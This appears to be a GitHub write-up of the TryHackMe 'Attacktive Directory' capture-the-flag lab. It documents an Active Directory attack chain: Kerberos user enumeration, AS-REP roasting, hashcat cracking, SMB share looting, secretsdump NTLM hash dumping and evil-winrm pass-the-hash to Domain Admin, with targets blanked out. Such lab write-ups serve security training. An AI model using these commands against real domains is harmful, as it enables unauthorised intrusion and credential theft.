cybe07/Active-Directory-Labs

# 🛡️ Attacktive Directory Write-up

## 📌 Overview * **Room:** Attacktive Directory * **Domain:** spookysec.local * **Objective:** Compromise the domain and retrieve all flags This lab demonstrates a full Active Directory attack chain, leveraging Kerberos misconfigurations, credential exposure, and privilege escalation techniques to achieve Domain Admin access. ## 📑 Table of Contents * [🌐 Initial Enumeration](#-initial-enumeration) * [🧑‍💻 User Enumeration](#-user-enumeration) * [🔐 AS-REP Roasting](#-as-rep-roasting) * [🔓 Hash Cracking](#-hash-cracking) * [📂 SMB Enumeration](#-smb-enumeration) * [🔐 Credential Extraction](#-credential-extraction) * [🧠 Privilege Escalation](#-privilege-escalation) * [🔑 Pass-the-Hash](#-pass-the-hash) * [🏁 Flags](#-flags) * [📚 Key Takeaways](#-key-takeaways) ## 🌐 Initial Enumeration ``` nmap -sC -sV -p- ``` ### 🔍 Findings: * 88 → Kerberos * 389 → LDAP * 445 → SMB * 139 → NetBIOS * 3389 → RDP ✔️ Confirmed Active Directory Domain Controller 📸  ## 🧑‍💻 User Enumeration ``` kerbrute userenum --dc -d spookysec.local userlist.txt ``` ### 🔍 Result: * Valid domain users discovered 📸  ## 🔐 AS-REP Roasting ``` impacket-GetNPUsers spookysec.local/ -usersfile user.txt -no-pass -dc-ip ``` ### 🎯 Result: * Retrieved AS-REP hash 📸  ## 🔓 Hash Cracking ``` hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt ``` ### 🎯 Result: * Password recovered 📸  ## 📂 SMB Enumeration ``` smbclient -L /// -U ``` ### 🔍 Shares Found: * ADMIN$ * backup * IPC$ * NETLOGON * SYSVOL 📸  ## 🔐 Credential Extraction ``` echo "" | base64 -d ``` ### 🎯 Result: * Found credentials for backup user 📸  ## 🧠 Privilege Escalation ``` impacket-secretsdump spookysec.local/backup:@ ``` ### 🎯 Result: * Dumped NTLM hashes: * Administrator * svc-admin * backup 📸  ## 🔑 Pass-the-Hash ``` evil-winrm -i -u Administrator -H ``` ### 🎯 Result: * Domain Admin access achieved ## 🏁 Flags | User | Location | | ------------- | -------- | | Administrator | Desktop | | svc-admin | Desktop | | backup | Desktop | ⚠️ Flags hidden for ethical reasons ## 🔥 Attack Chain ``` Nmap → Kerbrute → AS-REP → Hashcat → SMB → Decode → Secretsdump → PtH → DA ``` ## 📚 Key Takeaways * Kerberos misconfigurations can lead to credential exposure * AS-REP roasting enables offline password attacks * Base64 encoding is not secure * Backup privileges can expose the entire domain * Pass-the-Hash avoids the need to crack passwords ## 🚀 Author * 💻 cybe07 * 🔗 https://github.com/cybe07

标签：Active Directory, AS-REP Roasting, Credential Extraction, CTF学习, CTI, DNS 解析, DOS头擦除, Hash Cracking, Kerberos 协议, Pass-the-Hash, PE 加载器, Plaso, Privilege Escalation, SMB Enumeration, SMB 共享, TryHackMe, 内网渗透, 域控, 域渗透, 实战靶场, 密码破解, 模拟器, 电子数据取证, 票据攻击, 网络安全学习, 逆向工具